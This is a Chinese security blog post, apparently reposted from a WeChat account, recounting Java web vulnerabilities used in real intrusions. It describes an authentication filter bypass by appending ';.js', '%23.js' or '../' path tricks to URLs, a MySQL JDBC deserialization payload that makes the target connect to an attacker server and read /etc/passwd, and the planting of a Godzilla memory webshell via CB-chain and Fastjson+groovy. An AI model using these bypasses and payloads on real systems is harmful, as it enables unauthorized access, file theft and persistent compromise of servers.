最近打点用的一些java漏洞

admin 2024年12月24日13:49:31评论12 views字数 1913阅读6分22秒阅读模式

好久没写文章了,把最近打点审的几个漏洞分享一下。

filter权限绕过

在 CurrentContextFilter 里,有四个关键方法。

最近打点用的一些java漏洞

需要关注的方法,很明显可以看出,应该是:

isExcludeResource(request.getRequestURI()) isStaticResource(request.getRequestURI())
isAnonPermission(request)

从方法命名上可以看见分别代表含义 "是否排除的资源"、"是否是静态资源"、"是否是匿名权限"

分析

isExcludeResource

isExcludeResource(request.getRequestURI()) 是判断当前url是否包含

/xxxinterface/invoke
/metadata/xxx/findList"
/ui/xxx/xxxLayoutPath"

/metadata/xxx/xxxColumns"
/metadata/xxxx/xxxScene
/ui/xxx/xxxPath

如果包含以上值,则返回值是 true

最近打点用的一些java漏洞

isStaticResource

isStaticResource(request.getRequestURI()) 是判断当前url是否包含

/static
/scripts
/css
.js
/js
.png
.jpg
/images
/fonts
.css
.html
/bpm/editor-app
.svg
.gif

如果包含,返回值是 true

最近打点用的一些java漏洞

在CurrentContextFilter里面,当两个方法返回值是true时,返回值是null。

最近打点用的一些java漏洞

在 dofilter 方法里面,也就是该 filter 触发时,如果当前 userAuthInfo 的值是 null,会直接去更新当前上下文 updateCurrentContext,也就是逻辑正常走完,没有中途通过 return 去退出。

最近打点用的一些java漏洞

isAnonPermission

实际分析发现,此处是通过验证 redis 里面的 user-token 是否有效去验证用户权限的,因此不在分析范围内。

漏洞验证

直接访问某个接口的时候,会提示 Token is not present.

最近打点用的一些java漏洞

也就是在 getUserAuthInfo 方法里面执行到了下面这个位置

如果想要跳过该 401 的提示,则需要将逻辑执行到上面的 return null 处。

最近打点用的一些java漏洞

此时就很清晰了,可以通过在 isStaticResource 方法或 isExcludeResource 方法去跳过该逻辑。

以 isStaticResource 为例 也就是在当前的 url 里面添加静态资源或者添加某几个 url 即可绕过该限制。

如通过在当前 url 添加静态资源后缀 js 时(;.js或者是#.js,#需要url编码为%23),即可绕过该 401 限制,回显数据。

最近打点用的一些java漏洞

以 isExcludeResource 为例

如在当前的 url 里面添加特殊的 url,再利用 ../ 去跨越路径也可以绕过。

最近打点用的一些java漏洞

其他情况?

如果走 2 和 3 的逻辑,则 token 是在 redis 里面存着的

最近打点用的一些java漏洞

这种情况无法去伪造,即便是 jwt 的密钥是硬编码的情况下。

最近打点用的一些java漏洞

如果请求头里面的 token 是以 basic 为开始的,则有可能可以去伪造 token

即 Authorization: Basic YWRtaW46MTIzNDU2

最近打点用的一些java漏洞

但暂时未在当前 jar 里面找到实现该逻辑的代码块。

Mysql jdbc反序列化

在 DmXXXXController 里

最近打点用的一些java漏洞

在 DmXXXServiceImpl 里面找到 importDmByJdbc 的实现方法

最近打点用的一些java漏洞

再跟入到 JdbcUtils.getMetaTableList 里面看见了 DriverManager.getConnection,且 url 可控和 lib 目录下存在 mysql-connector-java-8.0.14.jar,也就能打mysql jdbc反序列化漏洞了。

最近打点用的一些java漏洞

最近打点用的一些java漏洞

漏洞验证

构造读取 /etc/passwd 的 payload

{"url":"jdbc:mysql://x.x.x.x:3308/test?user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","user":"base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","pwd":"123","appCode":"admin"}

最近打点用的一些java漏洞

vps 上收到请求

最近打点用的一些java漏洞

然后就成功读取到对方 linux 服务器上的文件

最近打点用的一些java漏洞

此时尝试打内存马,用的cb链生成的哥斯拉内存马。

最近打点用的一些java漏洞

发包后服务器收到请求

最近打点用的一些java漏洞

哥斯拉尝试连接,并连接成功

最近打点用的一些java漏洞

Fastjson+groovy反序列化

此处也能通过 fastjson+groovy 去打内存马

最近打点用的一些java漏洞

且存在 groovy 的依赖

最近打点用的一些java漏洞

总结

多审计 day,打点才能事半功倍。

最近打点用的一些java漏洞

原文始发于微信公众号(刨洞安全团队):最近打点用的一些java漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日13:49:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最近打点用的一些java漏洞https://cn-sec.com/archives/3499048.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息